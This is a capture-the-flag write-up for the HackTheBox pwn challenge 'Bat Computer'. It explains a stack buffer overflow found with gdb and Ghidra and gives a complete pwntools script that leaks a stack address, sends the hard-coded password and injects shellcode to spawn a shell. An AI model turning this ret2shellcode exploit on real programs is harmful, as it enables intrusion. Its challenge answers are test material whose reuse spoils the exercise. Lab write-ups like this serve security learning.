Bat Computer

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

It's your time to save the world!

Solution Approach

Core idea: Buffer Overflow. Implement ret2shellcode concept.

Steps

1. First, unzip the .zip file given.

2. Next, check the file type.

3. Since it's a binary file, check the file's protection.

4. Let us run chmod first to make the executable then run the file in gdb.

5. Let us choose to track joker first.

6. Now let us chase him.

7. Let us decompile the file in ghidra.

8. Since the binary stripped, hence it's harder for us identify the function.

9. Anyway i think i found the main() function.

10. We found the password here, but i don't think the program will give us a flag when we entered the correct pass.

11. The vuln here is the auStack84 only has 76 size of buffers but the binary read 137. Hence we can utilize it for bufferoverflow..

12. The attack we shall use to get the flag is inject a shellcode.

13. So when the binary prompts us the navigation, we inject the shellcode there, so the shellcode will stored at the stack location which we have the address of. So then we need to overwrite the return address (the instruction pointer), overwrite that with the address of the stack where we place our shell code.

14. In short, since the auStack84 location will change everytime we execute the binary, so we need to extract the address of it, then we need to enter the password and enter the shellcode. To control the return address we need to overflow the buffer.

15. Now let us run the binary in gdb.

16. Enter cyclic 1024 pattern.

17. The program didn't crash, because it will crash until we hit return, remember that we are in a while loop.

18. Let us make another cyclic pattern, but this time 100.

19. Run the binary again in gdb.

20. This time enter random number.

21. Now take 4 bytes from RSP to look the correct bytes to overflow the buffer.

22. Means we need to write 84 bytes, then the return address (the location of joker), enter the password, enter the shellcode.

23. Now for the exploit script, to extract the stack offset, i used pwntools to make this regex.

extractedStack_addr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16)

1. Now for the shellcode, we can utilize the shellcraft.
2. First, we need to pop registers at the beginning se we have room to inject shellcode.
3. For the padding value , we can use this formula:

padding = asm('nop') * (paddingBytes - len(shellcode)) 

1. So here is our final script:

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else: 
        return process([exe] + argv, *a, **kw)

exe = './batcomputer'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

### EXPLOITATION

paddingBytes = 84 #EIP/RIP offset
sh = start()

sh.sendlineafter('>', '1')
extractedStack_addr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16)
info("extractedStack_addr (joker's offset): %#x", extractedStack_addr)

shellcode = asm(shellcraft.popad()) 
shellcode += asm(shellcraft.sh())
padding = asm('nop') * (paddingBytes - len(shellcode)) 

payload = flat([
    padding,
    shellcode,
    extractedStack_addr
])

sh.sendlineafter(b'>', b'2') 
sh.sendlineafter(b'Enter the password:', b'b4tp@$$w0rd!') 
sh.sendlineafter(b'Enter the navigation commands:', payload) 
sh.sendlineafter(b'>', b'130') # to trigger return 
sh.recvuntil("Too bad, now who's gonna save Gotham? Alfred?\n")

sh.interactive()

OUTPUT

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Buffer Overflow.
2. Implement ret2shellcode concept.